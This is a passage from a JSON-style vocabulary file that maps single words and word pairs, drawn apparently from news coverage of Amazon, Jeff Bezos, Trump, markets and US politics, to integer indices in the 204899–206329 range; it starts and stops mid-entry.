204899, "constantine available": 204900, "thedc": 204901, "available sounds": 204902, "freezes ice": 204903, "getting huge": 204904, "deal collapse": 204905, "need federal": 204906, "benefitted greatly": 204907, "lovely voice": 204908, "practiced include": 204909, "transfer restricted": 204910, "bigger market": 204911, "world violence": 204912, "uncertain": 204913, "informed comment": 204914, "juniper": 204915, "kroger stock": 204916, "information president": 204917, "reached deal": 204918, "erased": 204919, "historically avoided": 204920, "process schedules": 204921, "reprinted": 204922, "concussion": 204923, "tend": 204924, "bring discipline": 204925, "sale items": 204926, "removed quickly": 204927, "parties long": 204928, "risk partial": 204929, "binge alley": 204930, "gumball poodle": 204931, "2416": 204932, "book burnings": 204933, "andr\u00e9s oppenheimer": 204934, "grabbers human": 204935, "dodd investment": 204936, "5etweetembed 7ctwterm": 204937, "elections facing": 204938, "reimburse startup": 204939, "possible think": 204940, "500 lows": 204941, "migrates legacy": 204942, "wholesaler": 204943, "cut instead": 204944, "certain tables": 204945, "scream": 204946, "create enhance": 204947, "big nyc": 204948, "creating clothing": 204949, "carrell dressed": 204950, "officially announces": 204951, "gawande referred": 204952, "carelessness": 204953, "grails amazon": 204954, "reagan administration": 204955, "legendary toronto": 204956, "micron yesterday": 204957, "pushing large": 204958, "excluding gasoline": 204959, "ccn": 204960, "ringer": 204961, "keefe panel": 204962, "filed financial": 204963, "tax wise": 204964, "backwards trying": 204965, "immediately plummeted": 204966, "saving": 204967, "grown shipping": 204968, "card autostartvideo": 204969, "sending questionnaires": 204970, "leading provider": 204971, "expect ebitda": 204972, "standard legal": 204973, "headlineplaintext snl": 204974, "payrolls liesman": 204975, "bookstores pop": 204976, "repeatedly telling": 204977, "rights matthews": 204978, "dc milestone": 204979, "damage competition": 204980, "falsely tweeted": 204981, "allegedly offering": 204982, "create fee": 204983, "unprecedented challenges": 204984, "clearly wants": 204985, "collecting collateralized": 204986, "wreak": 204987, "ernesto ara\u00fajo": 204988, "popstar": 204989, "unfortunate people": 204990, "wamc": 204991, "bet experience": 204992, "weinstein walking": 204993, "survivor survivor": 204994, "states tries": 204995, "wehave": 204996, "want police": 204997, "despite": 204998, "russia war": 204999, "interesting thing": 205000, "caused gruesome": 205001, "lobby groups": 205002, "newstageng": 205003, "bezos new": 205004, "easing court": 205005, "bremberg": 205006, "activist protesters": 205007, "currently lets": 205008, "unfettered information": 205009, "israel sparked": 205010, "items trade": 205011, "cycle coming": 205012, "immediately able": 205013, "corrupt abuse": 205014, "lira aims": 205015, "senator orrin": 205016, "austere environments": 205017, "live later": 205018, "held nonprofit": 205019, "federal anti": 205020, "videotape courtney": 205021, "splits": 205022, "placing": 205023, "passenger jet": 205024, "offer range": 205025, "campaign hastings": 205026, "included lurid": 205027, "white senior": 205028, "lego set": 205029, "digital versions": 205030, "cardsectionname contenttype": 205031, "origin youth": 205032, "centerfold karen": 205033, "hq2 debacle": 205034, "company advertising": 205035, "asked megan": 205036, "53bn market": 205037, "rejected proposal": 205038, "courtney reagan": 205039, "rosendale sen": 205040, "conservatives tariffs": 205041, "erase transgender": 205042, "postponed reuters": 205043, "election america": 205044, "monopolies based": 205045, "investors worried": 205046, "index futures": 205047, "te amazon": 205048, "arrogance": 205049, "outrages increase": 205050, "sold sponsorship": 205051, "facing deportation": 205052, "caption santa": 205053, "hendricksen check": 205054, "matrimonial lawyers": 205055, "settlement simply": 205056, "company entered": 205057, "worldwide post": 205058, "slot": 205059, "glitchy": 205060, "war rich": 205061, "privatisation washington": 205062, "yesterday amid": 205063, "church putting": 205064, "geostrategy": 205065, "amazon eats": 205066, "management holds": 205067, "year service": 205068, "albany new": 205069, "fromtheir jobs": 205070, "790 words": 205071, "lands grasslands": 205072, "failing nytimes": 205073, "subscribed": 205074, "tv recast": 205075, "pariente fred": 205076, "hasn decided": 205077, "broad grin": 205078, "pulsing": 205079, "betras lawyer": 205080, "gusty": 205081, "bezos long": 205082, "sarah mcbride": 205083, "lift": 205084, "favoring left": 205085, "ron jeffries": 205086, "quite mad": 205087, "amazon bribing": 205088, "pieters": 205089, "silence karen": 205090, "destroying": 205091, "city share": 205092, "dark past": 205093, "trump getty": 205094, "median household": 205095, "bread milk": 205096, "kamalohava": 205097, "offer national": 205098, "masters": 205099, "stories driving": 205100, "paid public": 205101, "kit money": 205102, "bootleg version": 205103, "previous county": 205104, "craft narrative": 205105, "super helpful": 205106, "david kaplan": 205107, "digital video": 205108, "interagency": 205109, "ama amazon": 205110, "icymi": 205111, "environment affects": 205112, "million contract": 205113, "197 million": 205114, "fernando takes": 205115, "hideously subpar": 205116, "sanctuary city": 205117, "funded": 205118, "service longtime": 205119, "comey amid": 205120, "advise retailers": 205121, "var embedlinkhandler": 205122, "grind repeat": 205123, "investments including": 205124, "funny original": 205125, "set examples": 205126, "weekly emailed": 205127, "opz capital": 205128, "cheryl evans": 205129, "reporters damian": 205130, "mistress billionaire": 205131, "pete amazon": 205132, "treasuries": 205133, "spends resources": 205134, "company confirmed": 205135, "private action": 205136, "marketwatch happy": 205137, "luxury": 205138, "wall president": 205139, "2fpolitics 2fct": 205140, "smartphone pick": 205141, "kfile status": 205142, "trust cb": 205143, "administration opposing": 205144, "condos jumped": 205145, "attacks phishing": 205146, "agenda house": 205147, "conspiracies ami": 205148, "training audrey": 205149, "ditch": 205150, "police begin": 205151, "recognition particularly": 205152, "alibaba moser": 205153, "amy sherman": 205154, "indexes clawed": 205155, "source business": 205156, "aide unhinged": 205157, "awaits final": 205158, "label": 205159, "new hq": 205160, "hunger games": 205161, "welp love": 205162, "face unfair": 205163, "taco restaurant": 205164, "trial threats": 205165, "gqcknk": 205166, "heavily dependent": 205167, "publication roads": 205168, "company missed": 205169, "bank statements": 205170, "matter shortly": 205171, "customers today": 205172, "involved says": 205173, "final resolution": 205174, "longer extension": 205175, "anne frank": 205176, "benefits alas": 205177, "proposed terms": 205178, "target suggests": 205179, "takeover closed": 205180, "police": 205181, "olaf returns": 205182, "seconds louisiana": 205183, "new crop": 205184, "business standpoint": 205185, "journal hanna": 205186, "bezos plan": 205187, "music kindle": 205188, "long presidential": 205189, "robert clapper": 205190, "present attempts": 205191, "commander don": 205192, "retailers trump": 205193, "eyeball wired": 205194, "pointedly": 205195, "confirmation senate": 205196, "ushering": 205197, "ami attempted": 205198, "wants tech": 205199, "jury report": 205200, "encounter": 205201, "technology shares": 205202, "trust ted": 205203, "nyse eqr": 205204, "sanders pressure": 205205, "paper ballots": 205206, "overriding": 205207, "black southern": 205208, "thriving forests": 205209, "debt relief": 205210, "newspapers ask": 205211, "2019 colbert": 205212, "announce location": 205213, "novellas": 205214, "usps walmart": 205215, "767": 205216, "district": 205217, "abuse amazon": 205218, "looks profitable": 205219, "beauty smarmed": 205220, "edwards simpson": 205221, "geo referencing": 205222, "overshadows hanoi": 205223, "congressional correspondent": 205224, "campaign rallies": 205225, "house kit": 205226, "sharlene": 205227, "telling crowd": 205228, "favorite companies": 205229, "worker exploitation": 205230, "image src": 205231, "ubiquitous": 205232, "notified bezos": 205233, "org article": 205234, "lead party": 205235, "2018 iconic": 205236, "hostile comments": 205237, "turtle": 205238, "bureau estimated": 205239, "ravenswood": 205240, "mainland china": 205241, "withsomething": 205242, "cronyism perspective": 205243, "senators join": 205244, "college business": 205245, "amazing allies": 205246, "million computer": 205247, "chairman goodlatte": 205248, "counterfeit president": 205249, "website following": 205250, "copies wolff": 205251, "corporate managers": 205252, "proposals": 205253, "state locale": 205254, "colleagues showed": 205255, "government custody": 205256, "121 g8": 205257, "avenatti fraud": 205258, "woman crunch": 205259, "decent health": 205260, "written books": 205261, "alfonso cuar\u00f3n": 205262, "deal breaker": 205263, "2018 readers": 205264, "mayhem": 205265, "conditioned": 205266, "lie judging": 205267, "drug supply": 205268, "shows music": 205269, "america richest": 205270, "k8": 205271, "housing crash": 205272, "260": 205273, "stewart noted": 205274, "delano": 205275, "person dependents": 205276, "bezos investigation": 205277, "carriers colin": 205278, "alem\u00e1n": 205279, "traditional studios": 205280, "friction": 205281, "maybe phoenix": 205282, "height 438": 205283, "unseemly": 205284, "underwrite": 205285, "plan president": 205286, "michael scott": 205287, "considered essential": 205288, "week countries": 205289, "acn mycio": 205290, "robbie cape": 205291, "conway lawyer": 205292, "1007 super": 205293, "slide alaska": 205294, "colonial": 205295, "hudson news": 205296, "f4e insertbefore": 205297, "case people": 205298, "panera bread": 205299, "reports virginia": 205300, "trump bigstock": 205301, "crony hookup": 205302, "conflicting opinions": 205303, "feed amazon": 205304, "recorded family": 205305, "giant aramco": 205306, "minimum pay": 205307, "change corporate": 205308, "beloved siri": 205309, "tremendous success": 205310, "album little": 205311, "drop orders": 205312, "statement safe": 205313, "applications brent": 205314, "model investors": 205315, "brennan adding": 205316, "bezos colossal": 205317, "told page": 205318, "big doesn": 205319, "nniedzwiadek": 205320, "shepard": 205321, "lobbying organization": 205322, "far ranging": 205323, "prevailing fare": 205324, "time expressing": 205325, "american tradition": 205326, "philo": 205327, "arguments": 205328, "sold directly": 205329, "presents recent": 205330, "napolitano concluded": 205331, "thing dems": 205332, "apos": 205333, "accenture completes": 205334, "flatter trump": 205335, "immigrants house": 205336, "wilson copies": 205337, "promised tax": 205338, "boost amazon": 205339, "marlon bundo": 205340, "consumers shop": 205341, "father jeff": 205342, "far ami": 205343, "sebold": 205344, "app identifies": 205345, "268 900": 205346, "post followed": 205347, "adepo": 205348, "presidential meetings": 205349, "bomb": 205350, "close courtesy": 205351, "shippers rose": 205352, "rates directly": 205353, "cpr aed": 205354, "jails ulrich": 205355, "zuckerberg chiding": 205356, "big blog": 205357, "400 million": 205358, "transatlantic flying": 205359, "caravan moving": 205360, "young oboist": 205361, "education ivanka": 205362, "agile advocates": 205363, "glennkesslerwp": 205364, "race taking": 205365, "michael gove": 205366, "unspeakably": 205367, "exceptionally critical": 205368, "chris continued": 205369, "planned crystal": 205370, "800 million": 205371, "trump migrant": 205372, "couple wasn": 205373, "consumer buy": 205374, "guaranteed recommendation": 205375, "users encouraging": 205376, "showed total": 205377, "varicella": 205378, "africa pennsylvania": 205379, "revenues 100": 205380, "lisa leonard": 205381, "withheld records": 205382, "investigation michael": 205383, "devices consumers": 205384, "game winning": 205385, "analytics senior": 205386, "disunity": 205387, "amazon justified": 205388, "privacy concern": 205389, "fishing expedition": 205390, "provide essential": 205391, "g9jceruc0v wonder": 205392, "politico reports": 205393, "warranted break": 205394, "million yen": 205395, "rough sawn": 205396, "compliant": 205397, "house legal": 205398, "bio med": 205399, "content abusing": 205400, "crisis innovators": 205401, "neutral": 205402, "483f": 205403, "expiration": 205404, "claim farrow": 205405, "savings plan": 205406, "bezos earlier": 205407, "bowkers": 205408, "girl rep": 205409, "hudson bay": 205410, "palladino": 205411, "pushed washington": 205412, "tapes maxine": 205413, "house districts": 205414, "years hollywood": 205415, "furloughed employees": 205416, "amarillo news": 205417, "includes sorting": 205418, "relaxing": 205419, "cole": 205420, "diaz sr": 205421, "space kicked": 205422, "rosenstein debated": 205423, "scanners located": 205424, "continued assault": 205425, "gmt contract": 205426, "davos": 205427, "prizes better": 205428, "attacked cruz": 205429, "divorce euro": 205430, "prices unrelenting": 205431, "addressed issues": 205432, "chip company": 205433, "reagan antitrust": 205434, "suggested secretly": 205435, "obsessive crush": 205436, "isn prepared": 205437, "items require": 205438, "giant billions": 205439, "lee harvey": 205440, "stay neutral": 205441, "concept offers": 205442, "complements": 205443, "fake account": 205444, "activities making": 205445, "long advocated": 205446, "shirt bumper": 205447, "sizable reduction": 205448, "designated someday": 205449, "state hud": 205450, "treasure": 205451, "reg previously": 205452, "broader trade": 205453, "wisconsin management": 205454, "week abandoned": 205455, "bring product": 205456, "total revenues": 205457, "allegations trailing": 205458, "adam fein": 205459, "way instead": 205460, "seconds houston": 205461, "maturity provocateurs": 205462, "mnuchin steven": 205463, "conceal": 205464, "post staff": 205465, "company innocence": 205466, "mpa": 205467, "candidate claiming": 205468, "hand experience": 205469, "told hr": 205470, "capital management": 205471, "affordable reuters": 205472, "unique knowledge": 205473, "ahead herera": 205474, "nonpartisan agency": 205475, "wager": 205476, "outnumbered": 205477, "arrive": 205478, "story anne": 205479, "environment image": 205480, "quality journalism": 205481, "henry erin": 205482, "pay pensions": 205483, "stagflation": 205484, "restless": 205485, "bans documentaries": 205486, "probe questioning": 205487, "controversial comment": 205488, "emanating": 205489, "praises trump": 205490, "circuit recently": 205491, "greg leroy": 205492, "000 working": 205493, "fed rescued": 205494, "twitter sanders": 205495, "oppression carol": 205496, "kreps": 205497, "consider excluding": 205498, "heavier": 205499, "stweets": 205500, "report transcript": 205501, "biggest supplier": 205502, "nra": 205503, "coming global": 205504, "criminal sources": 205505, "summer opens": 205506, "court justices": 205507, "outlawed new": 205508, "ideological ruralism": 205509, "noticed trump": 205510, "accountants": 205511, "exiled james": 205512, "stock hawley": 205513, "s\u00e1nchez brother": 205514, "erased wewontbeerased": 205515, "profiles pioneer": 205516, "running high": 205517, "hunt detain": 205518, "torsten": 205519, "endorsing bipartisan": 205520, "season prime": 205521, "form content": 205522, "baggage": 205523, "amazon supposed": 205524, "faced": 205525, "quiere": 205526, "films words": 205527, "conventional wisdom": 205528, "dwdp microsoft": 205529, "comment ami": 205530, "montgomery": 205531, "premarket trade": 205532, "chief anchor": 205533, "period setting": 205534, "economic progress": 205535, "lucia evans": 205536, "crony cash": 205537, "howard declined": 205538, "behemoth amazon": 205539, "turmoil": 205540, "night montana": 205541, "sweeping change": 205542, "documentary hogg": 205543, "deckers outdoor": 205544, "raging bull": 205545, "obstructing": 205546, "administration critics": 205547, "ascui": 205548, "magazine states": 205549, "fake wine": 205550, "dprk today": 205551, "tinkering toddler": 205552, "offering cfo": 205553, "externalities": 205554, "commerce wasn": 205555, "abuse claim": 205556, "idled": 205557, "foreground": 205558, "higher loyalty": 205559, "wider net": 205560, "versailles": 205561, "island beach": 205562, "respond compared": 205563, "knife sharpener": 205564, "strong finish": 205565, "flagship retail": 205566, "market timing": 205567, "children anna": 205568, "increase shipping": 205569, "climate exchange": 205570, "1890 congress": 205571, "multiple critical": 205572, "incentivised": 205573, "earnings obviously": 205574, "216 shares": 205575, "falls ill": 205576, "serv accumulated": 205577, "particularly loyal": 205578, "axios citing": 205579, "affleck": 205580, "site premiere": 205581, "doesn anticipate": 205582, "encrypt": 205583, "retail operation": 205584, "facebook shares": 205585, "fournier": 205586, "bought 552": 205587, "referendums": 205588, "hands read": 205589, "spoiled rich": 205590, "house personnel": 205591, "preacher photo": 205592, "tokyo": 205593, "global scope": 205594, "warehous data": 205595, "cbs image": 205596, "lightness": 205597, "approached": 205598, "protests objecting": 205599, "petrillo": 205600, "material albeit": 205601, "brighten": 205602, "office loses": 205603, "market rests": 205604, "tech bipartisan": 205605, "jpg 50x50": 205606, "sims": 205607, "cliff martinez": 205608, "trumpworld right": 205609, "code trump": 205610, "lic home": 205611, "hitherto": 205612, "getting crossover": 205613, "revolve": 205614, "behemoth inevitably": 205615, "antagonist": 205616, "cost bloomberg": 205617, "offered glimmer": 205618, "enterprise hpe": 205619, "current management": 205620, "isn monopoly": 205621, "mailbag portfolio": 205622, "rare step": 205623, "increase worker": 205624, "belief amazon": 205625, "borrower jolley": 205626, "partnership mi": 205627, "undertakes": 205628, "years headed": 205629, "richfield renters": 205630, "engine": 205631, "packages wtf": 205632, "landing": 205633, "legal officer": 205634, "headquarters going": 205635, "total ballots": 205636, "seeing authors": 205637, "maggie hassan": 205638, "surrounding suburbs": 205639, "active cnn": 205640, "seasoned professionals": 205641, "ish": 205642, "android vestager": 205643, "franz": 205644, "remember turn": 205645, "significant relationship": 205646, "story leaving": 205647, "attack jeff": 205648, "target lowe": 205649, "early 2000s": 205650, "ex playmate": 205651, "ship amazon": 205652, "governments jeff": 205653, "using freedom": 205654, "467": 205655, "views hold": 205656, "dicks": 205657, "jeff immelt": 205658, "offer better": 205659, "near 100": 205660, "strong session": 205661, "shuffle": 205662, "pleasingly": 205663, "politics laid": 205664, "act oct": 205665, "margaret wardrobe": 205666, "unveiles": 205667, "defendant arguing": 205668, "force higher": 205669, "browns appears": 205670, "investors apparently": 205671, "trump extortion": 205672, "family businesses": 205673, "hour violations": 205674, "reportedly received": 205675, "openly stated": 205676, "day solely": 205677, "j8i x8": 205678, "david viniar": 205679, "hall helmer": 205680, "switch sales": 205681, "pg saw": 205682, "fy19 profitability": 205683, "plaintiffs claim": 205684, "audience network": 205685, "government lending": 205686, "women making": 205687, "brochure says": 205688, "unprecedented campaign": 205689, "trump connected": 205690, "queens trump": 205691, "sales market": 205692, "lucky dog": 205693, "captivating story": 205694, "social workers": 205695, "people missing": 205696, "refugee": 205697, "amazon wouldn": 205698, "book editions": 205699, "hollywood figure": 205700, "power functions": 205701, "fixing social": 205702, "trump regards": 205703, "trump ads": 205704, "selling narrow": 205705, "role new": 205706, "charged russia": 205707, "county official": 205708, "barriers": 205709, "academic year": 205710, "ago literary": 205711, "administration immigration": 205712, "explain ing": 205713, "buying fedex": 205714, "financial tech": 205715, "new sculptures": 205716, "issuethe heart": 205717, "baby orca": 205718, "eligible county": 205719, "trump mate": 205720, "public petrochina": 205721, "social issues": 205722, "story philly": 205723, "people today": 205724, "sq ft": 205725, "trump affairs": 205726, "karl spoke": 205727, "young directors": 205728, "house broader": 205729, "coast markets": 205730, "lasting effects": 205731, "trump actively": 205732, "division ruled": 205733, "government jeff": 205734, "current delivery": 205735, "immigrants rapists": 205736, "began small": 205737, "expat": 205738, "senator introduced": 205739, "consideration straightforward": 205740, "reportedly wants": 205741, "possibly altering": 205742, "black sails": 205743, "news jeanine": 205744, "substantially involved": 205745, "make": 205746, "trump scathing": 205747, "week describing": 205748, "sanders proposal": 205749, "eq showindex": 205750, "heat cooking": 205751, "companies dismayed": 205752, "coalition galvanized": 205753, "include persuading": 205754, "trump failed": 205755, "business begin": 205756, "allowing states": 205757, "direct source": 205758, "glyphosate": 205759, "busy tonight": 205760, "uks strange": 205761, "don bring": 205762, "attending morning": 205763, "pathname": 205764, "instead respect": 205765, "smarter chattier": 205766, "shoppers spend": 205767, "flash cards": 205768, "story recode": 205769, "state income": 205770, "amazon dogtooth": 205771, "partner chain": 205772, "picayune fisher": 205773, "felt differently": 205774, "lawrence culp": 205775, "rockers": 205776, "politifact noted": 205777, "plan say": 205778, "foreign investors": 205779, "mail tab": 205780, "president actions": 205781, "family company": 205782, "somalia": 205783, "effective tax": 205784, "overdue historic": 205785, "outpatient": 205786, "potential threat": 205787, "neglected tabloids": 205788, "children ydanis": 205789, "including probing": 205790, "crank motion": 205791, "announced dec": 205792, "prescribing": 205793, "exploring holding": 205794, "think eliana": 205795, "pharmaceutical inds": 205796, "huge multiples": 205797, "misrepresented": 205798, "war doesn": 205799, "swamped": 205800, "fund says": 205801, "henrique": 205802, "pornograhic": 205803, "planning clinics": 205804, "homosexuality": 205805, "wireless": 205806, "ahold": 205807, "baldness": 205808, "000 dumped": 205809, "midday": 205810, "later executive": 205811, "budgets previously": 205812, "policies feb": 205813, "memory chips": 205814, "configobj markupid": 205815, "livestream coverage": 205816, "colbert explained": 205817, "group huawei": 205818, "year provided": 205819, "imf stepped": 205820, "executive secretary": 205821, "cnn autoplayvideoexist": 205822, "turkeys": 205823, "jelbfr2gxx toddbishop": 205824, "metal spike": 205825, "sale brent": 205826, "service raise": 205827, "changing composition": 205828, "madison centre": 205829, "attention president": 205830, "unpresidented": 205831, "lambasted nbc": 205832, "post tough": 205833, "association dinner": 205834, "commercial llc": 205835, "achievement": 205836, "crowder doing": 205837, "increase homelessness": 205838, "neighbor beings": 205839, "ways just": 205840, "headquarters sporting": 205841, "supporting brother": 205842, "takes away": 205843, "neoliberal policies": 205844, "sarcastic reference": 205845, "desperately attempting": 205846, "challenge looks": 205847, "ecolab sells": 205848, "laughing schumer": 205849, "production fell": 205850, "driver olaoluwa": 205851, "including lower": 205852, "strong lebeau": 205853, "locations think": 205854, "attracts new": 205855, "workers following": 205856, "lifetime penn": 205857, "presidentcould": 205858, "repeat": 205859, "stevens recently": 205860, "saying weve": 205861, "allow jedi": 205862, "new car": 205863, "documentary nbc": 205864, "new feature": 205865, "378": 205866, "advancing 19th": 205867, "future surprises": 205868, "lauren estranged": 205869, "quit north": 205870, "sarah hagey": 205871, "support groups": 205872, "alive proving": 205873, "delong": 205874, "continue": 205875, "libby casey": 205876, "tipsheet": 205877, "insufficiently": 205878, "rich selling": 205879, "bans artificial": 205880, "mexican government": 205881, "vms": 205882, "mackenzie reporters": 205883, "unfavorable opinion": 205884, "people agree": 205885, "fast free": 205886, "presidential term": 205887, "military training": 205888, "complete set": 205889, "great pleasures": 205890, "ap reuters": 205891, "perpetual": 205892, "grow lot": 205893, "agencies tracking": 205894, "sales slowed": 205895, "politicians enamored": 205896, "economy learning": 205897, "despite hurricane": 205898, "reporters continued": 205899, "045": 205900, "jr aut_usrid": 205901, "behaviour": 205902, "discretionary spending": 205903, "wielding democrat": 205904, "rate minus": 205905, "saudi glossy": 205906, "hope georgetown": 205907, "commuter terminals": 205908, "famous spacex": 205909, "pronounced lobbying": 205910, "michael twitty": 205911, "diligent notetaker": 205912, "recent volatility": 205913, "letter imploring": 205914, "cofounders": 205915, "talked trump": 205916, "511 shares": 205917, "presence rule": 205918, "news expose": 205919, "households seeking": 205920, "workers strike": 205921, "men julian": 205922, "1043et copyright": 205923, "water instead": 205924, "conspiracy claims": 205925, "just republican": 205926, "infrastructure moniker": 205927, "withholdings chicago": 205928, "moss jeremoss": 205929, "customized postage": 205930, "google follow": 205931, "near youngstown": 205932, "government remain": 205933, "worldwide broadcast": 205934, "reversion": 205935, "story teslas": 205936, "youngest poppy": 205937, "net andrew": 205938, "trending amazon": 205939, "president going": 205940, "vendors adopt": 205941, "news spat": 205942, "ongoing": 205943, "emphatically": 205944, "175": 205945, "legal controversy": 205946, "behaviour raid": 205947, "fundraising goals": 205948, "senate seats": 205949, "pecker pics": 205950, "money saving": 205951, "homebuilding created": 205952, "acquiring land": 205953, "ample resources": 205954, "prime administration": 205955, "reactid": 205956, "familiarity": 205957, "kabir mozart": 205958, "announced suit": 205959, "report significant": 205960, "pose": 205961, "abused wh": 205962, "country read": 205963, "york failed": 205964, "negative financial": 205965, "advisors bgsa": 205966, "resumes": 205967, "larger sales": 205968, "punchiest punchlines": 205969, "sunshine": 205970, "heavy rains": 205971, "online furniture": 205972, "million illion": 205973, "accounted": 205974, "bri": 205975, "email accounts": 205976, "ultramillionaires": 205977, "military style": 205978, "liberal democrats": 205979, "commission whistleblower": 205980, "angry women": 205981, "comienza": 205982, "set deadline": 205983, "million new": 205984, "action committees": 205985, "shipping make": 205986, "motor north": 205987, "rating trump": 205988, "story turkish": 205989, "word isn": 205990, "general population": 205991, "freshman democratic": 205992, "invest just": 205993, "caught trying": 205994, "nasdaq sharply": 205995, "chief probe": 205996, "planned china": 205997, "multiple diverse": 205998, "examiner aug": 205999, "visible generation": 206000, "bezos confirmed": 206001, "parties released": 206002, "decision drivers": 206003, "known contributions": 206004, "crimes michelle": 206005, "assortment": 206006, "content congrats": 206007, "company stated": 206008, "colorado united": 206009, "retirement account": 206010, "buffett longtime": 206011, "rail set": 206012, "journalists looking": 206013, "president falls": 206014, "broad measures": 206015, "trump behaving": 206016, "close elections": 206017, "iv\u00e1n duque": 206018, "nyc small": 206019, "lower tax": 206020, "include companies": 206021, "computing contracts": 206022, "agencies monitoring": 206023, "numerous data": 206024, "latest edition": 206025, "uh sir": 206026, "seen msnbc": 206027, "anker qi": 206028, "dod department": 206029, "pelosi disdainfully": 206030, "leftists ledge": 206031, "deadly camp": 206032, "capital doesn": 206033, "post employee": 206034, "born trump": 206035, "dog les": 206036, "president explained": 206037, "commerce behemoth": 206038, "staple": 206039, "dow dropped": 206040, "msnbc ruhle": 206041, "professional support": 206042, "left guardian": 206043, "vocal critics": 206044, "widespread conflicts": 206045, "test": 206046, "charter flight": 206047, "power especially": 206048, "trump quite": 206049, "rank buy": 206050, "representatives looking": 206051, "president planned": 206052, "vote myrtle": 206053, "performance copyright": 206054, "convert": 206055, "bigger contract": 206056, "owned subsidiary": 206057, "administration stopped": 206058, "foiled": 206059, "forth presume": 206060, "jedi award": 206061, "marginalized americans": 206062, "lawyer": 206063, "bear repellant": 206064, "standalone": 206065, "cronyism success": 206066, "power utilities": 206067, "consultancy firm": 206068, "sprinkled": 206069, "read patchen": 206070, "lack sufficient": 206071, "a4ee r0": 206072, "7172": 206073, "investors need": 206074, "200 cities": 206075, "164 billion": 206076, "low volatility": 206077, "behemoth benefits": 206078, "media title": 206079, "befitting sitting": 206080, "answer addition": 206081, "personalities mika": 206082, "shopping feature": 206083, "follow scott": 206084, "gauges futures": 206085, "fully autonomous": 206086, "1539185302": 206087, "market opens": 206088, "minimum month": 206089, "perks joining": 206090, "payer": 206091, "based trader": 206092, "celebratory period": 206093, "lie fueled": 206094, "closely follows": 206095, "shutdown meeting": 206096, "slice r4ee": 206097, "international": 206098, "stop busting": 206099, "star getty": 206100, "contains series": 206101, "farrow tweeted": 206102, "selling tech": 206103, "warned britain": 206104, "suspiria photo": 206105, "busily": 206106, "saying instead": 206107, "powerful funders": 206108, "volume history": 206109, "meaning americans": 206110, "total rating": 206111, "yesterday bezos": 206112, "trumplandia": 206113, "jedi amazon": 206114, "660 1874": 206115, "created little": 206116, "tech mega": 206117, "long shootout": 206118, "simply gone": 206119, "calculations": 206120, "club selection": 206121, "box today": 206122, "potentially harm": 206123, "sessions begin": 206124, "lawmaker representing": 206125, "bananas pineapple": 206126, "desist": 206127, "tariff concerns": 206128, "potential inquiry": 206129, "buildings going": 206130, "bestselling 2013": 206131, "department washington": 206132, "shakeup": 206133, "claiming just": 206134, "secure favors": 206135, "debit card": 206136, "culp": 206137, "human existence": 206138, "375 shares": 206139, "penetration": 206140, "charts suggest": 206141, "maybe lower": 206142, "stories original": 206143, "weekday": 206144, "murder investigation": 206145, "deriding amazon": 206146, "address close": 206147, "money isn": 206148, "novel good": 206149, "marcophones expose": 206150, "watch starring": 206151, "company ties": 206152, "nomination fight": 206153, "neighborhoods long": 206154, "inspired shirts": 206155, "happy ceo": 206156, "pantomime fake": 206157, "trump nemesis": 206158, "proven disastrous": 206159, "longform": 206160, "communities finally": 206161, "investigation wrote": 206162, "periodic": 206163, "black people": 206164, "expect big": 206165, "father decides": 206166, "disproportionately affect": 206167, "scale deforestation": 206168, "canadians absolutely": 206169, "fourth richest": 206170, "pictures facts": 206171, "fair vanity": 206172, "storage members": 206173, "disclosure cramer": 206174, "carriers just": 206175, "aws enterprise": 206176, "mortgage victims": 206177, "reported received": 206178, "niles niemuth": 206179, "personal email": 206180, "commission investigation": 206181, "reported purdue": 206182, "fileting ami": 206183, "ac360 jeffrey": 206184, "outstanding personality": 206185, "politics abcpolitics": 206186, "employees business": 206187, "debris": 206188, "personal accounts": 206189, "rancor president": 206190, "naturally curios": 206191, "citizen services": 206192, "adversely affected": 206193, "key topics": 206194, "factories": 206195, "pork keurig": 206196, "grooming antoni": 206197, "publisher donald": 206198, "started playing": 206199, "trump mcmaster": 206200, "bush defense": 206201, "chief inside": 206202, "toilet plungers": 206203, "guadagnino suspiria": 206204, "textiles": 206205, "drivers work": 206206, "elections looking": 206207, "pusha": 206208, "inject fresh": 206209, "wesfarmers": 206210, "processor": 206211, "commentator scottie": 206212, "vaccine massachusetts": 206213, "research abramson": 206214, "era decline": 206215, "lampert": 206216, "inc_custom_footer": 206217, "cool treats": 206218, "rohingya": 206219, "stalked": 206220, "countdown clock": 206221, "advanced research": 206222, "jaloe freepressmedia": 206223, "tgiles5 bloomberg": 206224, "perceived unfairness": 206225, "countless new": 206226, "reader complaints": 206227, "war dave": 206228, "goat": 206229, "sellers manage": 206230, "company core": 206231, "journal constitution": 206232, "veteran 2018": 206233, "care growth": 206234, "facebook having": 206235, "g7a b7a": 206236, "kilberg": 206237, "potential competitors": 206238, "requesting": 206239, "washer tariffs": 206240, "771959": 206241, "glaringly evident": 206242, "overcoming months": 206243, "city area": 206244, "band records": 206245, "quickly turned": 206246, "commercial service": 206247, "reasoned counterarguments": 206248, "incident runs": 206249, "voice workplace": 206250, "costs continue": 206251, "putting amazon": 206252, "started construction": 206253, "light cloak": 206254, "encourage banks": 206255, "advertisers": 206256, "minting billions": 206257, "tech censorship": 206258, "authorization amazon": 206259, "employees work": 206260, "immigrants sic": 206261, "stage according": 206262, "soul sucking": 206263, "porn crime": 206264, "book": 206265, "actually paying": 206266, "monumental affect": 206267, "turn charity": 206268, "execs quit": 206269, "public places": 206270, "experts close": 206271, "company investing": 206272, "make timely": 206273, "marvin": 206274, "morgan analyst": 206275, "crushed": 206276, "irises": 206277, "fair shot": 206278, "entrepreneurs subprime": 206279, "security cooperation": 206280, "major benchmarks": 206281, "spitz penguin": 206282, "2_5": 206283, "grassley charged": 206284, "klobuchar approach": 206285, "park opening": 206286, "likes math": 206287, "information hiring": 206288, "nokia says": 206289, "longterm": 206290, "contain confidential": 206291, "michael says": 206292, "sports betting": 206293, "tax advantage": 206294, "virginia lured": 206295, "potatoes bananas": 206296, "trump patriarch": 206297, "harris posted": 206298, "default slot": 206299, "spineless senators": 206300, "personality turned": 206301, "starring anthony": 206302, "truck brokerage": 206303, "razor sharp": 206304, "season later": 206305, "lianga": 206306, "krugman bosses": 206307, "gain risk": 206308, "bible instruction": 206309, "secrets": 206310, "challenge coin": 206311, "book specifically": 206312, "function o4": 206313, "stephen carter": 206314, "quarter gross": 206315, "attacks cnbc": 206316, "inbox sign": 206317, "caused stir": 206318, "itep explained": 206319, "2018 amazon": 206320, "callender conagra": 206321, "compelling rebuttals": 206322, "fashion week": 206323, "high fuel": 206324, "president probably": 206325, "nixon drawn": 206326, "shades plus": 206327, "giant wpp": 206328, "collide": 206329, "pesticides 